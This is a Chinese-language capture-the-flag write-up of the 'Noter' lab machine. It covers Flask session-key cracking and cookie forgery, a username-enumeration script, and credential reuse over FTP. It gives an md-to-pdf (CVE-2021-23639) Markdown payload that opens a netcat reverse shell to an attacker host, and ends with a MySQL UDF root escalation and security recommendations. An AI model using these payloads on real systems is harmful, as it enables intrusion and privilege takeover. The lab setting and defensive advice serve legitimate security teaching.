实战打靶之Noter
字数 1383 2025-08-12 11:34:50
Flask应用安全实战:Noter靶机渗透测试教学文档
1. 信息收集阶段
1.1 端口扫描与初步发现
使用nmap扫描目标主机,发现三个开放端口:
- FTP (21端口):允许匿名登录
- SSH (22端口)
- HTTP (5000端口):运行Flask应用
1.2 FTP匿名登录
ftp <target_ip>
# 用户名输入"anonymous",密码可为空
发现FTP服务器允许匿名登录,可以查看和下载文件。
1.3 Web应用分析
访问http://<target_ip>:5000,发现一个基于Flask的Web应用:
- 有登录/注册功能
- 登录后重定向到/dashboard
- 提供笔记添加功能(/add_note)
- 笔记查看功能(/notes和/note/
)
2. 漏洞发现与利用
2.1 JWT/Flask Cookie分析
Flask会话cookie类似于JWT,可以使用flask-unsign工具进行解码和破解。
2.1.1 解码cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.Yxvarg.S9d5IqA4nL7CBjzYp4CfnG8IoLk'
2.1.2 暴力破解secret key
flask-unsign --unsign --cookie '<cookie_value>' --wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval
成功获取secret key为"secret123"。
2.2 生成管理员cookie
flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123'
2.3 用户名枚举
2.3.1 使用自定义Python脚本枚举用户
#!/usr/bin/env python3
import hashlib
import sys
from flask.json.tag import TaggedJSONSerializer
from itsdangerous import TimestampSigner, URLSafeTimedSerializer
if len(sys.argv) < 2:
print(f"{sys.argv[0]} [wordlist]")
sys.exit()
with open(sys.argv[1], 'r') as f:
names = f.readlines()
for name in names:
cookie = URLSafeTimedSerializer(
secret_key='secret123',
salt='cookie-session',
serializer=TaggedJSONSerializer(),
signer=TimestampSigner,
signer_kwargs={
'key_derivation': 'hmac',
'digest_method': hashlib.sha1
}
)
print(cookie.dumps({"logged_in": True, "username": name.strip()}))
2.3.2 使用wfuzz测试有效用户
wfuzz -c -z file,names.txt -H "Cookie: session=<generated_cookie>" --hl 302 http://<target_ip>:5000/dashboard
发现有效用户"blue"。
2.4 FTP管理员访问
从PDF文件中发现FTP管理员凭据:
- 用户名:ftp_admin
- 密码:Noter!
登录FTP并下载文件:
ftp <target_ip>
# 使用ftp_admin/Noter!登录
发现并下载两个zip文件,分析内容差异。
3. 代码分析与RCE漏洞利用
3.1 分析app.py差异
发现export_note_local和export_note_remote函数存在安全问题:
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js $'{note['body']}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
return send_file(attachment_dir + str(rand_int) +'.pdf', as_attachment=True)
3.2 CVE-2021-23639漏洞利用
md-to-pdf包(<5.0.0)存在RCE漏洞,可通过Markdown注入JS代码。
3.2.1 创建恶意Markdown文件
---js
((require("child_process")).exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker_ip> <port> >/tmp/f"))
---
3.2.2 设置监听并触发漏洞
攻击者机器:
nc -lvnp <port>
通过Web应用的"Export"功能触发RCE,获取反向shell。
4. 权限提升
4.1 MySQL凭据发现
在代码中发现MySQL凭据:
- 用户名:root
- 密码:(从代码中获取)
4.2 MySQL UDF提权
4.2.1 检查MySQL运行状态
netstat -tulnp | grep mysql
ps aux | grep mysql
发现MySQL以root身份运行。
4.2.2 使用Raptor漏洞利用
- 下载并编译raptor_udf2.c:
searchsploit -m linux/local/1518.c
mv 1518.c raptor_udf2.c
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
-
上传到目标机器
-
MySQL中执行:
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('chmod +s /bin/bash');
- 获取root shell:
bash -p
4.3 获取flag
cat /root/root.txt
5. 总结与安全建议
5.1 漏洞链总结
- Flask弱secret key导致会话伪造
- 用户名枚举漏洞
- FTP信息泄露导致管理员凭据暴露
- 代码中硬编码数据库凭据
- 不安全的子进程执行导致RCE
- MySQL以root运行且存在UDF提权漏洞
5.2 安全建议
-
Flask安全配置:
- 使用强随机secret key
- 禁用调试模式
- 使用Flask-Talisman添加安全头
-
认证安全:
- 实现强密码策略
- 防止用户名枚举
- 使用多因素认证
-
代码安全:
- 避免使用shell=True执行命令
- 使用参数化查询防止SQL注入
- 定期更新依赖项
-
系统安全:
- 避免以root运行服务
- 实施最小权限原则
- 定期安全审计和渗透测试
-
信息保护:
- 避免硬编码凭据
- 使用环境变量或密钥管理系统
- 实施适当的文件权限